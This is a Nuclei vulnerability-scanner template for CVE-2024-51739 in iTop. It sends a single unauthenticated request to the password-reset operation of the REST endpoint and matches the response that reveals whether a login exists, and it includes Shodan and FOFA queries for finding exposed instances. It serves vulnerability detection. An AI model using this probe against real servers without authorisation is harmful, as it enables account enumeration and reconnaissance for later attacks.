CVE-2024-51739: iTop - User Enumeration via REST Endpoint

id: CVE-2024-51739

info:
  name: iTop - User Enumeration via REST Endpoint
  author: DhiyaneshDk
  severity: medium
  description: |
    From the webservices/rest.php file, several operations are accessible from an unauthenticated user. One of them is `do_reset_pwd`, allowing to reset a user password. This feature can be abused to perform user enumeration when a non-existent user is provided.
  impact: |
    Attackers can exploit this vulnerability to compromise system security.
  remediation: |
    Apply security patches to address CVE-2024-51739.
  reference:
    - https://www.synacktiv.com/en/advisories/multiple-vulnerabilities-on-itop
    - https://github.com/Combodo/iTop/security/advisories/GHSA-2hmf-p27w-phf9
    - https://nvd.nist.gov/vuln/detail/CVE-2024-51739
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-51739
    cwe-id: CWE-200
    epss-score: 0.01232
    epss-percentile: 0.67457
    cpe: cpe:2.3:a:combodo:itop:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: combodo
    product: itop
    shodan-query: http.html:" itop login"
    fofa-query: body=" itop login"
  tags: cve,cve2024,itop,enum,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/webservices/rest.php?loginop=do_reset_pwd&auth_user=doesnotexist"

    matchers:
      - type: word
        part: body
        words:
          - "<h1>Reset password</h1>"
          - "&#039;doesnotexist&#039; is not a valid login"
        condition: and
# digest: 4a0a00473045022060ec023a0768fdb9760ecfbd1a305054faf5fbff9d432e5fc64df603e2999ad4022100adfc381e096a369fb11fd755275fa829b8786db904fabee0c10adb0bf9ef4e2b:922c64590222798bb761d5b6d8e72950

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